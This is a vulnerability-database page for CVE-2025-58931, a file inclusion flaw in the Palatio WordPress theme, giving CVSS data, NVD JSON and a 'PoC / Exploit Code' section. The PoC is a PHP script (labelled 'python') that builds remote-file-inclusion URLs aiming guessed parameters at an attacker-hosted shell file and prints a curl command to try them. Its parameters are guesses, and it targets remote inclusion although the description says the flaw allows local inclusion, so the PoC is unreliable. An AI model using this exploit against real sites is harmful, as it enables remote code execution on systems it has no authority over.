Security Vulnerability Report
中文
CVE-2025-58931 CVSS 8.1 HIGH

CVE-2025-58931

Published: 2025-12-18 08:16:01
Last Modified: 2026-04-27 20:16:20

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Palatio palatio allows PHP Local File Inclusion.This issue affects Palatio: from n/a through <= 1.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:palatio:*:*:*:*:*:wordpress:*:* - VULNERABLE
Palatio Theme <= 1.6
Palatio Theme (from n/a through 1.6)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58931 PoC - Palatio Theme Remote File Inclusion * Affected: axiomthemes Palatio Theme <= 1.6 * Type: PHP Remote File Inclusion * CVSS: 8.1 (High) * * Usage: * 1. Setup malicious PHP file on attacker server * 2. Modify TARGET and MALICIOUS_URL below * 3. Run: php poc.php */ $target = 'http://target-site.com'; $malicious_url = 'http://attacker-server.com/shell.txt'; // Common vulnerable parameters in Palatio theme $vulnerable_params = [ 'template', 'page', 'file', 'include', 'load', 'path', 'view' ]; // Generate malicious payload $poc_urls = []; foreach ($vulnerable_params as $param) { $poc_urls[] = $target . '/?' . $param . '=' . urlencode($malicious_url); } // Output PoC URLs echo "[*] CVE-2025-58931 PoC - Palatio Theme RFI\n"; echo "[*] Target: {$target}\n"; echo "[*] Malicious URL: {$malicious_url}\n\n"; echo "[*] Generated PoC URLs:\n"; foreach ($poc_urls as $url) { echo "[+] {$url}\n"; } echo "\n[*] Manual testing:\n"; echo "curl '{$target}/?template={$malicious_url}'\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58931", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:00.533", "lastModified": "2026-04-27T20:16:19.850", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Palatio palatio allows PHP Local File Inclusion.This issue affects Palatio: from n/a through <= 1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:palatio:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.6", "matchCriteriaId": "7B359D10-EDEE-451D-923A-0AF124644113"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/palatio/vulnerability/wordpress-palatio-theme-1-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}